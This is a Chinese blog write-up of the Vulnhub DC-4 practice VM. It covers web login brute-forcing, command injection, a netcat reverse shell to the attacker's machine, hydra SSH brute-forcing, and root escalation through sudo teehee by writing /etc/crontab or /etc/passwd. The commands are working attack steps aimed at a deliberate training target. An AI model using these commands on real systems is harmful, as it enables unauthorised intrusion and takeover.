freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub靶机渗透测试之DC-4-teehee提权
2021-01-16 18:15:56

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。

靶场部署

vulnhub官网https://www.vulnhub.com

1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);

2、解压会得到一个.ova的文件,然后在VMware中打开即可;

环境配置

攻击机kali:192.168.2.19

DC靶机:192.168.2.20

(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)

虚拟机打开如下所示:

1610785023_6002a0ff535057debbfea.png!small?1610785021583

步骤

一、信息收集

1、使用nmap扫描扫描到192.168.2.20,开放了22和80端口

1610785072_6002a130b055ce0252e0b.png!small?1610785071053

2、然后访问一下80端口

1610785286_6002a206bf85cb0884dbf.png!small?1610785285007

3、提示是需要admin来登录,而且没有其他的限制,尝试爆破。

1610785947_6002a49b0baab4b191b87.png!small?1610785945368

成功得到密码为:happy

4、登录之后页面如下

1610786029_6002a4ed9a187d029da61.png!small?1610786027948

点击Command

1610786059_6002a50bbc30607407ef8.png!small?1610786058124

5、可以看到能够执行ls -l, du -h,df -h这三个命令,同时抓包查看,发现执行的命令直接显示了

1610786349_6002a62deec9a6acfa6dc.png!small?1610786348263

1610786386_6002a65256d7ed39752b0.png!small?1610786384766

1610786413_6002a66dd9f8aba7eeaaf.png!small?1610786412204

二、反弹shell

1、既然命令可以直接显示,那就可以构造直接反弹shell了,使用burp抓包,修改radio的参数如下:

radio=nc+192.168.2.19+9999+-e+/bin/bash&submit=Run

1610786788_6002a7e4565bdafc58d66.png!small?1610786786638

然后再kali中设置监听,成功反弹shell

1610786838_6002a816e1da7f59f3987.png!small?1610786837261

2、使用python获取到交互模式

python -c 'import pty;pty.spawn("/bin/bash")'

1610786966_6002a89651e475f7e208c.png!small?1610786964566

3、进入到/home目录下,查看到有三个用户,但是只有jim用户下有文件

1610787387_6002aa3bc7ab17181d9be.png!small?1610787386623

查看jim用户下的脚本文件:test.sh

1610787489_6002aaa1a41ab5d0134ee.png!small?1610787487979

查看backups目录下的文件,看到了jim用户的密码本

1610787738_6002ab9a3e6e43d7159ee.png!small?1610787736510

三、ssh登录靶机

1、将其密码本复制出来,因为靶机还开放了22端口,所以可以进行ssh的爆破,这里我使用的是hydra工具

hydra -l jim -P password.txt -t 10 ssh://192.168.2.20

1610788246_6002ad96c95e4c9df9187.png!small?1610788245101

成功得到jim用户的密码为:jibril04

2、登录

1610788443_6002ae5be0aa98a186aec.png!small?1610788442266

3、最后在var/mail目录下看到一封邮件,得到charles的密码为: ^xHhA&hvim0y

1610789121_6002b1012b66c03f852bc.png!small?1610789119630

4、切换为charles用户,然后登录,尝试切换为root权限,但是失败了

1610789331_6002b1d3543e32fe8f1fc.png!small?1610789329630

5、用sudo -l看看还有什么用户能使用root,发现teehee用户可以不用输入密码得到root特权

1610789454_6002b24e4f1f84ff54552.png!small?1610789452535

四、提权

两种方式:使用crontab提权和添加新用户提权

使用crontab提权

基本过程:向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以 root身份写入crontab计划任务通过执行获取root权限

操作过程如下:

1、echo root chmod 4777 /bin/sh > /etc/crontab

2、sudo teehee /etc/crontab,然后写入的内容:* * * * * root chmod 4777 /bin/sh

(时间部分全部填写为*,默认这个定时任务每分钟执行一次。通过执行的脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。)

3、ls -la /bin/sh

4、/bin/sh

1610790524_6002b67c16377b038d667.png!small?1610790522397

添加新用户提权

添加一个admin账户,然后使用teehee执行直接写入 passwd中,然后切换为创建的admin用户。

1、echo "test::0:0:::/bin/bash"

2、sudo teehee -a /etc/passwd

3、输入:test::0:0:::/bin/bash

4、然后ctrl+c退出,再su test切换用户,即可获得root权限


设置uid和gid都为0,那么这个用户就相当于root

格式:[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]

1610791676_6002bafc64f04f27f9fc3.png!small?1610791674703

知识点总结

1、后台密码爆破,使用burp爆破,工具爆破等等都可以

2、命令注入漏洞

3、反弹shell的命令

4、利用teehee命令进行提权(这里使用crontab提权和添加新用户提权)

参考文章

http://akevin.cn/index.php/archives/635/

# vulnhub靶机
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录